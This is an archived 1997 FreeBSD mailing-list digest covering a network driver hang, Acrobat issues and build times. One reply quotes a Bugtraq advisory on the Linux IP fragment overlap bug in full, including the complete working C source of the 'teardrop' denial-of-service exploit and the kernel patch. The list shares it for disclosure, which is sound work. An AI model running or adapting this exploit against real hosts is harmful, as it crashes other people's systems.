I just cvsupped sunday, is mine fixed? thanks. From owner-freebsd-current Mon Nov 17 18:08:56 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA05513 for current-outgoing; Mon, 17 Nov 1997 18:08:56 -0800 (PST) (envelope-from owner-freebsd-current) Received: from lamb.sas.com (root@lamb.sas.com [192.35.83.8]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA05500 for ; Mon, 17 Nov 1997 18:08:38 -0800 (PST) (envelope-from jwd@unx.sas.com) Received: from mozart (markham.southpeak.com [192.35.83.31]) by lamb.sas.com (8.8.7/8.8.7) with SMTP id VAA03348; Mon, 17 Nov 1997 21:08:21 -0500 (EST) Received: from iluvatar.unx.sas.com by mozart (5.65c/SAS/Domains/5-6-90) id AA20735; Mon, 17 Nov 1997 21:08:20 -0500 From: "John W. DeBoskey" Received: by iluvatar.unx.sas.com (5.65c/SAS/Generic 9.01/3-26-93) id AA05446; Mon, 17 Nov 1997 21:08:19 -0500 Message-Id: <199711180208.AA05446@iluvatar.unx.sas.com> Subject: Re: fxp0 causes machine lockup To: dg@root.com Date: Mon, 17 Nov 1997 21:08:19 -0500 (EST) Cc: freebsd-current@freebsd.org In-Reply-To: <199711060128.RAA04958@implode.root.com> from "David Greenman" at Nov 5, 97 05:28:11 pm X-Mailer: ELM [version 2.4 PL23] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi, Well, it's been a few days and I've gotten alittle farther with my fxp0 problem, and also found a few other oddities. My SNAP date: FreeBSD 3.0-971102-SNAP (GENERIC) #0: Mon Nov 17 22:44:15 GMT 1997 in /sys/pci/if_fxp.c the following fragment from fxp_init() appears to be the problem: /* * Start the config command/DMA. */ fxp_scb_wait(sc); CSR_WRITE_4(sc, FXP_CSR_SCB_GENERAL, vtophys(cbp)); CSR_WRITE_1(sc, FXP_CSR_SCB_COMMAND, FXP_SCB_COMMAND_CU_START); /* ...and wait for it to complete. */ while (!(cbp->cb_status & FXP_CB_STATUS_C)); The fxp_scb_wait, CSR_WRITE_4 and CSR_WRITE_1 calls (appear to) work correctly. What I cannot find is the location in the code where the FXP_CB_STATUS_C bit is set in a (interrupt?) routine. Nor can I break into DDB at this point. grep FXP_CB_STATUS_C *.c if_fxp.c: (txp->cb_status & FXP_CB_STATUS_C) != 0; if_fxp.c: while (!(cbp->cb_status & FXP_CB_STATUS_C)); if_fxp.c: while (!(cb_ias->cb_status & FXP_CB_STATUS_C)); if_fxp.c: txp[i].cb_status = FXP_CB_STATUS_C | FXP_CB_STATUS_OK; The oddities: I rebuilt my kernel (using GENERIC) and added options DDB. I then built and installed the new kernel. When rebooting, I specified the -d option to bring up the kernel debugger. I then specified: b fxp_init c and the system panic'd in the bounce buffer code saying it could not malloc enough memory.. Ok, well, I don't need bounce buffers on my machine, so I removed options BOUNCE_BUFFERS from GENERIC and once again rebuilt & installed. Again I rebooted and specified -d and issued the break & continue commands. This time, a series of "Could not malloc" messages went by, but none stopped the system. Finally, it got to the point where is wanted to mount the root filesystem. It said it could not mount the root filesystem and hung. Any comments, helpful hints, critiques, etc, are welcome. Thanks, John My complete dmesg output: Copyright (c) 1992-1997 FreeBSD Inc. Copyright (c) 1982, 1986, 1989, 1991, 1993 The Regents of the University of California. All rights reserved. FreeBSD 3.0-971102-SNAP #0: Mon Nov 17 22:44:15 GMT 1997 root@mrose.pc.sas.com:/usr/src/sys/compile/GENERIC CPU: Pentium Pro (199.43-MHz 686-class CPU) Origin = "GenuineIntel" Id = 0x617 Stepping=7 Features=0xfbff real memory = 67108864 (65536K bytes) avail memory = 62734336 (61264K bytes) Probing for devices on PCI bus 0: Correcting Natoma config for non-SMP chip0: rev 0x02 on pci0.0.0 chip1: rev 0x00 on pci0.13.0 ide_pci0: rev 0x00 on pci0.13.1 chip2: rev 0x00 on pci0.14.0 vga0: rev 0x00 int a irq 9 on pci0.16.0 vx0: <3COM 3C905 Fast Etherlink XL PCI> rev 0x00 int a irq 15 on pci0.17.0 mii[*mii*] address 00:a0:24:bb:88:3e Probing for devices on PCI bus 1: fxp0: rev 0x04 int a irq 14 on pci1.9.0 fxp0: Ethernet address 00:a0:c9:8b:09:a5 ahc0: rev 0x00 int a irq 11 on pci1.10.0 ahc0: aic7880 Wide Channel, SCSI Id=7, 16 SCBs ahc0: waiting for scsi devices to settle scbus0 at ahc0 bus 0 sd0 at scbus0 target 2 lun 0 sd0: type 0 fixed SCSI 2 sd0: Direct-Access 4095MB (8388315 512 byte sectors) Probing for devices on the ISA bus: sc0 at 0x60-0x6f irq 1 on motherboard sc0: VGA color <16 virtual consoles, flags=0x0> ed0 not found at 0x280 fe0 not found at 0x300 sio0 at 0x3f8-0x3ff irq 4 flags 0x10 on isa sio0: type 16550A sio1 at 0x2f8-0x2ff irq 3 on isa sio1: type 16550A lpt0 at 0x378-0x37f irq 7 on isa lpt0: Interrupt-driven port lp0: TCP/IP capable interface lpt1 not found mse0 not found at 0x23c psm0 at 0x60-0x64 irq 12 on motherboard psm0: device ID 0 fdc0 at 0x3f0-0x3f7 irq 6 drq 2 on isa fdc0: FIFO enabled, 8 bytes threshold fd0: 1.44MB 3.5in wdc0 not found at 0x1f0 wdc1 not found at 0x170 bt0 not found at 0x330 uha0 not found at 0x330 aha0 not found at 0x330 aic0 not found at 0x340 nca0 not found at 0x1f88 nca1 not found at 0x350 sea0 not found wt0 not found at 0x300 mcd0 not found at 0x300 matcdc0 not found at 0x230 scd0 not found at 0x230 ie0: unknown board_id: f000 ie0 not found at 0x300 ep0 not found at 0x300 ex0 not found le0 not found at 0x300 lnc0 not found at 0x280 ze0 not found at 0x300 zp0 not found at 0x300 npx0 on motherboard npx0: INT 16 interface changing root device to sd0a > > > In looking through the archives I found this message which appears > >to be similar, though with different hardware: > > > >>From: "Mike Durian" > >>Date: Wed, 01 Oct 1997 12:45:27 -0600 > >>Subject: strange interaction with Pentium and fxp > ... > > That turned out to be caused by some local kernel changes that they had > made - they had a SCSI card's EEPROM responding to physical addresses that > were in the area of system RAM. This caused the DMA to hang; it wasn't bug > in FreeBSD or the hardware and it went away when they fixed their code. > I don't have any idea why your machine is hanging. Very odd and your's > is the only report I've gotten of a problem like that. The first thing to > do would be to figure out if it is a DMA or interrupt problem by adding > printf's all over the place inside the driver, and then see where it dies. > > -DG > > David Greenman > Core-team/Principal Architect, The FreeBSD Project > -- jwd@unx.sas.com (w) John W. De Boskey (919) 677-8000 x6915 From owner-freebsd-current Mon Nov 17 18:58:30 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA09311 for current-outgoing; Mon, 17 Nov 1997 18:58:30 -0800 (PST) (envelope-from owner-freebsd-current) Received: from rah.star-gate.com (rah.star-gate.com [204.188.121.18]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA09303 for ; Mon, 17 Nov 1997 18:58:28 -0800 (PST) (envelope-from hasty@rah.star-gate.com) Received: from rah.star-gate.com (localhost.v-site.net [127.0.0.1]) by rah.star-gate.com (8.8.8/8.8.5) with ESMTP id SAA04741; Mon, 17 Nov 1997 18:58:10 -0800 (PST) Message-Id: <199711180258.SAA04741@rah.star-gate.com> X-Mailer: exmh version 2.0gamma 1/27/96 To: "John S. Dyson" cc: bruce@zuhause.mn.org (Bruce Albrecht), freebsd-current@freebsd.org Subject: Re: Acrobat problems? In-reply-to: Your message of "Mon, 17 Nov 1997 15:14:59 EST." <199711172014.PAA04958@dyson.iquest.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 17 Nov 1997 18:58:05 -0800 From: Amancio Hasty Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Acroread works fine over here and I supped the system on nov 15. Amancio > Bruce Albrecht said: > > Is anyone else having problems running Acrobat 3.0 or 3.01 (Linux) on > > -current? When I run 3.0, Acrobat tells me that it's trapped a > > segfault on every pdf file I try, and 3.01 doesn't segfault, but the > > display is all messed up. I'm running SMP from around 10/27, and here > > are my linux libraries: > > > I use acroread regularly, but my current is about 1wk old. Your non-X libs > look the same as mine, but remember, the X libs might also be involved. I'll > check out a more recent current soon, and let you know. > > -- > John > dyson@freebsd.org > jdyson@nc.com From owner-freebsd-current Mon Nov 17 19:36:01 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA12205 for current-outgoing; Mon, 17 Nov 1997 19:36:01 -0800 (PST) (envelope-from owner-freebsd-current) Received: from pop.uniserve.com (pop.uniserve.com [204.244.156.3]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id TAA12196 for ; Mon, 17 Nov 1997 19:35:57 -0800 (PST) (envelope-from tom@uniserve.com) Received: from shell.uniserve.com [204.244.210.252] by pop.uniserve.com with smtp (Exim 1.73 #1) id 0xXeS8-0001at-00; Mon, 17 Nov 1997 19:35:53 -0800 Date: Mon, 17 Nov 1997 19:35:49 -0800 (PST) From: Tom To: Adam McDougall cc: current@freebsd.org Subject: Re: teardrop In-Reply-To: <3470F4B7.2AC390D0@ameritech.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Mon, 17 Nov 1997, Adam McDougall wrote: > Has this new kind of nuke been addressed, and can it be/has it been > fixed? I just cvsupped sunday, is mine fixed? thanks. Perhaps you explain what the hell "teardrop" is, and why we should care. Tom From owner-freebsd-current Mon Nov 17 20:03:34 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id UAA14516 for current-outgoing; Mon, 17 Nov 1997 20:03:34 -0800 (PST) (envelope-from owner-freebsd-current) Received: from forbidden-donut.anet-stl.com (forbidden-donut.anet-stl.com [209.83.128.17]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id UAA14494 for ; Mon, 17 Nov 1997 20:03:26 -0800 (PST) (envelope-from doogie@forbidden-donut.anet-stl.com) Received: from localhost (doogie@localhost) by forbidden-donut.anet-stl.com (8.8.8/8.8.5) with SMTP id VAA27087; Mon, 17 Nov 1997 21:57:34 GMT Date: Mon, 17 Nov 1997 21:57:32 +0000 (GMT) From: Jason Young To: Adam McDougall cc: current@FreeBSD.ORG Subject: Re: teardrop In-Reply-To: <3470F4B7.2AC390D0@ameritech.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- On Mon, 17 Nov 1997, Adam McDougall wrote: > Has this new kind of nuke been addressed, and can it be/has it been > fixed? I just cvsupped sunday, is mine fixed? thanks. Most/all of the *bsd TCP stacks were never vulnerable to this. This includes FreeBSD. I'm pretty sure that was in the original advisory. Jason Young ANET Chief Network Engineer -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQB1AwUBNHC9zaInE6ybC66VAQHZcQL9FAPyaeHb8MxvIFJnslypXgOvUk5wcpi/ a7dl5Fp1oWzxcIgGPvD6Co0o5AjmeEgQivZlToRZfH/mhxtwxV2AG09+X00CkU5I BXqgimNPcZdiBc4E/iuIOQlCWo8/0ysP =UFEL -----END PGP SIGNATURE----- From owner-freebsd-current Mon Nov 17 20:59:26 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id UAA18612 for current-outgoing; Mon, 17 Nov 1997 20:59:26 -0800 (PST) (envelope-from owner-freebsd-current) Received: from shell.dragondata.com (toasty@shell.dragondata.com [204.137.237.8]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id UAA18601 for ; Mon, 17 Nov 1997 20:59:22 -0800 (PST) (envelope-from toasty@shell.dragondata.com) Received: (from toasty@localhost) by shell.dragondata.com (8.8.7/8.8.7) id XAA21433; Mon, 17 Nov 1997 23:01:47 -0600 (CST) (envelope-from toasty) From: User Toasty Message-Id: <199711180501.XAA21433@shell.dragondata.com> Subject: Re: teardrop In-Reply-To: from Tom at "Nov 17, 97 07:35:49 pm" To: tom@uniserve.com (Tom) Date: Mon, 17 Nov 1997 23:01:47 -0600 (CST) Cc: mcdougall@ameritech.net, current@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > On Mon, 17 Nov 1997, Adam McDougall wrote: > > > Has this new kind of nuke been addressed, and can it be/has it been > > fixed? I just cvsupped sunday, is mine fixed? thanks. > > > Perhaps you explain what the hell "teardrop" is, and why we should care. > > Tom > Teardrop is someone's name for a new nuke that affects Linux, BSDI, Windows 95 and Windows NT. It involves sending bad TCP/IP fragments. FreeBSD is immune to the attack, so, to answer his question: "Yes and No". No, nothing has been addressed, but you copy is 'fixed'. :) Kevin From owner-freebsd-current Mon Nov 17 22:10:10 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA23568 for current-outgoing; Mon, 17 Nov 1997 22:10:10 -0800 (PST) (envelope-from owner-freebsd-current) Received: from forbidden-donut.anet-stl.com (forbidden-donut.anet-stl.com [209.83.128.17]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id WAA23548 for ; Mon, 17 Nov 1997 22:10:03 -0800 (PST) (envelope-from doogie@forbidden-donut.anet-stl.com) Received: from localhost (doogie@localhost) by forbidden-donut.anet-stl.com (8.8.8/8.8.5) with SMTP id AAA27312; Tue, 18 Nov 1997 00:04:21 GMT Date: Tue, 18 Nov 1997 00:04:18 +0000 (GMT) From: Jason Young To: Tom cc: Adam McDougall , current@FreeBSD.ORG Subject: Re: teardrop In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- On Mon, 17 Nov 1997, Tom wrote: > On Mon, 17 Nov 1997, Adam McDougall wrote: > > > Has this new kind of nuke been addressed, and can it be/has it been > > fixed? I just cvsupped sunday, is mine fixed? thanks. > > Perhaps you explain what the hell "teardrop" is, and why we should care. > > Tom Cool down, the guy's just asking a question which has already been floating around on the mailing lists and he thought people were familiar with. Attaching the original Bugtraq post for your benefit and anyone else who doesn't have the full story. Jason Young ANET Chief Network Engineer - ----- - From route@RESENTMENT.INFONEXUS.COM Tue Nov 18 00:01:40 1997 Date: Thu, 13 Nov 1997 22:06:15 -0800 From: G P R To: BUGTRAQ@NETSPACE.ORG Subject: Linux IP fragment overlap bug Helu. I wrote this post a while back when the bug was first discovered. It seems as though this bug (and patch) has gotten out, so here it is, in it's entirety. As it happens, Linux has a serious bug in it's IP fragmentation module. More specifically, in the fragmentation reassembly code. More specifically, the bug manifests itself in the `ip_glue()` function.... When Linux reassembles IP fragments to form the original IP datagram, it runs in a loop, copying the payload from all the queued fragments into a newly allocated buffer (which would then normally be passed to the IP layer proper). >From ip_fragment.c@376: fp = qp->fragments; while(fp != NULL) { if(count+fp->len > skb->len) { error_to_big; } memcpy((ptr + fp->offset), fp->ptr, fp->len); count += fp->len; fp = fp->next; } While it does check to see if the fragment length is too large, which would have the kernel copy too much data, it doesn't check to see if the fragment length is too small, which would have the kernel copy WAY too data (such is the case if fp->len is < 0). To see when this happens, we need to look at how Linux adds IP datagrams to the reassembly queue. From ip_fragment.c@502: /* * Determine the position of this fragment. */ end = offset + ntohs(iph->tot_len) - ihl; Ok. That's nice. Now we have to look at what happens when we have overlaping fragments... From ip_fragment.c@531: /* * We found where to put this one. * Check for overlap with preceding fragment, and, if needed, * align things so that any overlaps are eliminated. */ if (prev != NULL && offset < prev->end) { i = prev->end - offset; offset += i; /* ptr into datagram */ ptr += i; /* ptr into fragment data */ } If we find that the current fragment's offset is inside the end of a previous fragment (overlap), we need to (try) align it correctly. Well, this is fine and good, unless the payload of the current fragment happens to NOT contain enough data to cover the realigning. In that case, `offset` will end up being larger then `end`. These two values are passed to `ip_frag_create()` where the length of the fragment data is computed. From ip_fragment.c@97: /* Fill in the structure. */ fp->offset = offset; fp->end = end; fp->len = end - offset; This results in fp->len being negative and the memcpy() at the top will end up trying to copy entirely too much data, resulting in a reboot or a halt, depending on how much physical memory you've got. We can trigger this normally unlikely event by simply sending 2 specially fragmented IP datagrams. The first is the 0 offset fragment with a payload of size N, with the MF bit on (data content is irrelevant). The second is the last fragment (MF == 0) with a positive offset < N and with a payload of < N. Every linux implementation I have been able to look at seems to have this problem (1.x - 2.x, including the development kernels). Oh, by the way, NT/95 appear to have the bug also. Try sending 10 - 15 of these fragment combos to an NT/95 machine. Special thanks to klepto for bringing the problem to my attention and writing the initial exploit. route|daemon9 route@infonexus.com - ------[Begin] -- Guby Linux ------------------------------------------------- /* * Copyright (c) 1997 route|daemon9 11.3.97 * * Linux/NT/95 Overlap frag bug exploit * * Exploits the overlapping IP fragment bug present in all Linux kernels and * NT 4.0 / Windows 95 (others?) * * Based off of: flip.c by klepto * Compiles on: Linux, *BSD* * * gcc -O2 teardrop.c -o teardrop * OR * gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING */ #include #include #include #include #include #include #include #include #include #include #include #ifdef STRANGE_BSD_BYTE_ORDERING_THING /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */ #define FIX(n) (n) #else /* OpenBSD 2.1, all Linux */ #define FIX(n) htons(n) #endif /* STRANGE_BSD_BYTE_ORDERING_THING */ #define IP_MF 0x2000 /* More IP fragment en route */ #define IPH 0x14 /* IP header size */ #define UDPH 0x8 /* UDP header size */ #define PADDING 0x1c /* datagram frame padding for first packet */ #define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */ #define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can * withstand maybe 5 or 10 sometimes... Experiment. */ void usage(u_char *); u_long name_resolve(u_char *); u_short in_cksum(u_short *, int); void send_frags(int, u_long, u_long, u_short, u_short); int main(int argc, char **argv) { int one = 1, count = 0, i, rip_sock; u_long src_ip = 0, dst_ip = 0; u_short src_prt = 0, dst_prt = 0; struct in_addr addr; fprintf(stderr, "teardrop route|daemon9\n\n"); if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("raw socket"); exit(1); } if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one)) < 0) { perror("IP_HDRINCL"); exit(1); } if (argc < 3) usage(argv[0]); if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2]))) { fprintf(stderr, "What the hell kind of IP address is that?\n"); exit(1); } while ((i = getopt(argc, argv, "s:t:n:")) != EOF) { switch (i) { case 's': /* source port (should be emphemeral) */ src_prt = (u_short)atoi(optarg); break; case 't': /* dest port (DNS, anyone?) */ dst_prt = (u_short)atoi(optarg); break; case 'n': /* number to send */ count = atoi(optarg); break; default : usage(argv[0]); break; /* NOTREACHED */ } } srandom((unsigned)(time((time_t)0))); if (!src_prt) src_prt = (random() % 0xffff); if (!dst_prt) dst_prt = (random() % 0xffff); if (!count) count = COUNT; fprintf(stderr, "Death on flaxen wings:\n"); addr.s_addr = src_ip; fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt); addr.s_addr = dst_ip; fprintf(stderr, " To: %15s.%5d\n", inet_ntoa(addr), dst_prt); fprintf(stderr, " Amt: %5d\n", count); fprintf(stderr, "[ "); for (i = 0; i < count; i++) { send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt); fprintf(stderr, "b00m "); usleep(500); } fprintf(stderr, "]\n"); return (0); } /* * Send two IP fragments with pathological offsets. We use an implementation * independent way of assembling network packets that does not rely on any of * the diverse O/S specific nomenclature hinderances (well, linux vs. BSD). */ void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt, u_short dst_prt) { u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */ u_char byte; /* a byte */ struct sockaddr_in sin; /* socket protocol structure */ sin.sin_family = AF_INET; sin.sin_port = src_prt; sin.sin_addr.s_addr = dst_ip; /* * Grab some memory for our packet, align p_ptr to point at the beginning * of our packet, and then fill it with zeros. */ packet = (u_char *)malloc(IPH + UDPH + PADDING); p_ptr = packet; bzero((u_char *)p_ptr, IPH + UDPH + PADDING); byte = 0x45; /* IP version and header length */ memcpy(p_ptr, &byte, sizeof(u_char)); p_ptr += 2; /* IP TOS (skipped) */ *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */ p_ptr += 2; *((u_short *)p_ptr) = htons(242); /* IP id */ p_ptr += 2; *((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */ p_ptr += 2; *((u_short *)p_ptr) = 0x40; /* IP TTL */ byte = IPPROTO_UDP; memcpy(p_ptr + 1, &byte, sizeof(u_char)); p_ptr += 4; /* IP checksum filled in by kernel */ *((u_long *)p_ptr) = src_ip; /* IP source address */ p_ptr += 4; *((u_long *)p_ptr) = dst_ip; /* IP destination address */ p_ptr += 4; *((u_short *)p_ptr) = htons(src_prt); /* UDP source port */ p_ptr += 2; *((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */ p_ptr += 2; *((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */ if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1) { perror("\nsendto"); free(packet); exit(1); } /* We set the fragment offset to be inside of the previous packet's * payload (it overlaps inside the previous packet) but do not include * enough payload to cover complete the datagram. Just the header will * do, but to crash NT/95 machines, a bit larger of packet seems to work * better. */ p_ptr = &packet[2]; /* IP total length is 2 bytes into the header */ *((u_short *)p_ptr) = FIX(IPH + MAGIC + 1); p_ptr += 4; /* IP offset is 6 bytes into the header */ *((u_short *)p_ptr) = FIX(MAGIC); if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1) { perror("\nsendto"); free(packet); exit(1); } free(packet); } u_long name_resolve(u_char *host_name) { struct in_addr addr; struct hostent *host_ent; if ((addr.s_addr = inet_addr(host_name)) == -1) { if (!(host_ent = gethostbyname(host_name))) return (0); bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length); } return (addr.s_addr); } void usage(u_char *name) { fprintf(stderr, "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n", name); exit(0); } /* EOF */ - ------[End] -- Guby Linux ---------------------------------------------------- And the patch: - ------[Begin] -- Helu Linux ------------------------------------------------- - --- ip_fragment.c Mon Nov 10 14:58:38 1997 +++ ip_fragment.c.patched Mon Nov 10 19:18:52 1997 @@ -12,6 +12,7 @@ * Alan Cox : Split from ip.c , see ip_input.c for history. * Alan Cox : Handling oversized frames * Uriel Maimon : Accounting errors in two fringe cases. + * route : IP fragment overlap bug */ #include @@ -578,6 +579,22 @@ frag_kfree_s(tmp, sizeof(struct ipfrag)); } } + + /* + * Uh-oh. Some one's playing some park shenanigans on us. + * IP fragoverlap-linux-go-b00m bug. + * route 11.3.97 + */ + + if (offset > end) + { + skb->sk = NULL; + printk("IP: Invalid IP fragment (offset > end) found from %s\n", in_ntoa(iph->saddr)); + kfree_skb(skb, FREE_READ); + ip_statistics.IpReasmFails++; + ip_free(qp); + return NULL; + } /* * Insert this fragment in the chain of fragments. - ------[End] -- Helu Linux ---------------------------------------------------- EOF - -- Corporate Persuasion Through Internet Terrorism. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQB1AwUBNHDbhaInE6ybC66VAQFOSgMAsEyxqk/9HKG3h74IqcYx0xemO9rVL5Dp DW4BjW9pFUcNxmQP/xtGd529KpbEeicmBmaLn9j+03OZTGk8lIoaRZ00SOJczS5A ylKvPm0BCAVT0fLGvAe17AhwUQ8KS9vo =3CmJ -----END PGP SIGNATURE----- From owner-freebsd-current Mon Nov 17 23:07:47 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA27313 for current-outgoing; Mon, 17 Nov 1997 23:07:47 -0800 (PST) (envelope-from owner-freebsd-current) Received: from pop.uniserve.com (pop.uniserve.com [204.244.156.3]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id XAA27307 for ; Mon, 17 Nov 1997 23:07:41 -0800 (PST) (envelope-from tom@uniserve.com) Received: from shell.uniserve.com [204.244.210.252] by pop.uniserve.com with smtp (Exim 1.73 #1) id 0xXhl1-00017e-00; Mon, 17 Nov 1997 23:07:35 -0800 Date: Mon, 17 Nov 1997 23:07:31 -0800 (PST) From: Tom To: Jason Young cc: Adam McDougall , current@freebsd.org Subject: Re: teardrop In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Tue, 18 Nov 1997, Jason Young wrote: > -----BEGIN PGP SIGNED MESSAGE----- > > > On Mon, 17 Nov 1997, Tom wrote: > > > On Mon, 17 Nov 1997, Adam McDougall wrote: > > > > > Has this new kind of nuke been addressed, and can it be/has it been > > > fixed? I just cvsupped sunday, is mine fixed? thanks. > > > > Perhaps you explain what the hell "teardrop" is, and why we should care. > > > > Tom > > Cool down, the guy's just asking a question which has already been I'm always cool, I live in Canada. Anyhow, it is Linux & NT thing, and doesn't belong on the FreeBSD lists. There are many different operating systems, and many bugs, and that doesn't mean they need to be discussed here. Since the exploit was posted, people should actually try it before posting. If they don't know how to try it, they should ask on freebsd-questions. Just becasue a bug in operating system xyz, it doesn't mean it exists in FreeBSD. Tom From owner-freebsd-current Mon Nov 17 23:20:16 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA28664 for current-outgoing; Mon, 17 Nov 1997 23:20:16 -0800 (PST) (envelope-from owner-freebsd-current) Received: from nomis.Simon-Shapiro.ORG (nomis.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id XAA28650 for ; Mon, 17 Nov 1997 23:20:10 -0800 (PST) (envelope-from shimon@nomis-net.Simon-Shapiro.ORG) Received: (qmail 1567 invoked by uid 1000); 18 Nov 1997 07:20:23 -0000 Message-ID: X-Mailer: XFMail 1.2-beta-111797 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <199711171208.NAA06592@bitbox.follo.net> Date: Mon, 17 Nov 1997 23:20:23 -0800 (PST) Reply-To: shimon@simon-shapiro.org Organization: ME, Just me... From: Simon Shapiro To: Eivind Eklund Subject: Re: make world time???/ Cc: toor@dyson.iquest.net, sprice@hiwaay.net, smp@csn.net, current@FreeBSD.ORG, hasty@rah.star-gate.com, Simon Shapiro Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On 17-Nov-97 Eivind Eklund wrote: >> >> >> Hi Amancio Hasty; On 17-Nov-97 you wrote: >> > Hmm... >> > >> > I do a make world in about 75 minutes -- I just didn't do >> > profiled >> > libraries. >> >> Correct me if I am wrong, but the pupose here is not to finish make >> world >> in short time. I have seen sub-minute before :-) > > A 'make world' including what? Everything, but you start with empty /usr/obj. > > Eivind. If Microsoft Built Cars: There would be an "Engine Pro" with bigger turbos, but it would be slower on most existing roads. Sincerely Yours, Simon Shapiro Atlas Telecom Senior Architect 14355 SW Allen Blvd., Suite 130 Beaverton OR 97005 Shimon@i-Connect.Net Voice: 503.799.2313 From owner-freebsd-current Tue Nov 18 01:33:49 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA07716 for current-outgoing; Tue, 18 Nov 1997 01:33:49 -0800 (PST) (envelope-from owner-freebsd-current) Received: from implode.root.com (implode.root.com [198.145.90.17]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id BAA07694 for ; Tue, 18 Nov 1997 01:33:43 -0800 (PST) (envelope-from root@implode.root.com) Received: from implode.root.com (localhost [127.0.0.1]) by implode.root.com (8.8.5/8.8.5) with ESMTP id BAA12735; Tue, 18 Nov 1997 01:36:32 -0800 (PST) Message-Id: <199711180936.BAA12735@implode.root.com> To: "John W. DeBoskey" cc: freebsd-current@FreeBSD.ORG Subject: Re: fxp0 causes machine lockup In-reply-to: Your message of "Mon, 17 Nov 1997 21:08:19 EST." <199711180208.AA05446@iluvatar.unx.sas.com> From: David Greenman Reply-To: dg@root.com Date: Tue, 18 Nov 1997 01:36:32 -0800 Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >in /sys/pci/if_fxp.c the following fragment from fxp_init() >appears to be the problem: > > /* > * Start the config command/DMA. > */ > fxp_scb_wait(sc); > CSR_WRITE_4(sc, FXP_CSR_SCB_GENERAL, vtophys(cbp)); > CSR_WRITE_1(sc, FXP_CSR_SCB_COMMAND, FXP_SCB_COMMAND_CU_START); > /* ...and wait for it to complete. */ > while (!(cbp->cb_status & FXP_CB_STATUS_C)); > > The fxp_scb_wait, CSR_WRITE_4 and CSR_WRITE_1 calls (appear to) >work correctly. What I cannot find is the location in the code where >the FXP_CB_STATUS_C bit is set in a (interrupt?) routine. Nor can I >break into DDB at this point. The "FXP_CB_STATUS_C" flag is set by the Pro/100B DMA engine when the processing of the command descriptor has completed. Network interrupts are disabled at that point, so none are expected. I would guess that it is hanging when DMA is started and not in the while loop after it. I noticed this: >fxp0: rev 0x04 int a irq 14 on 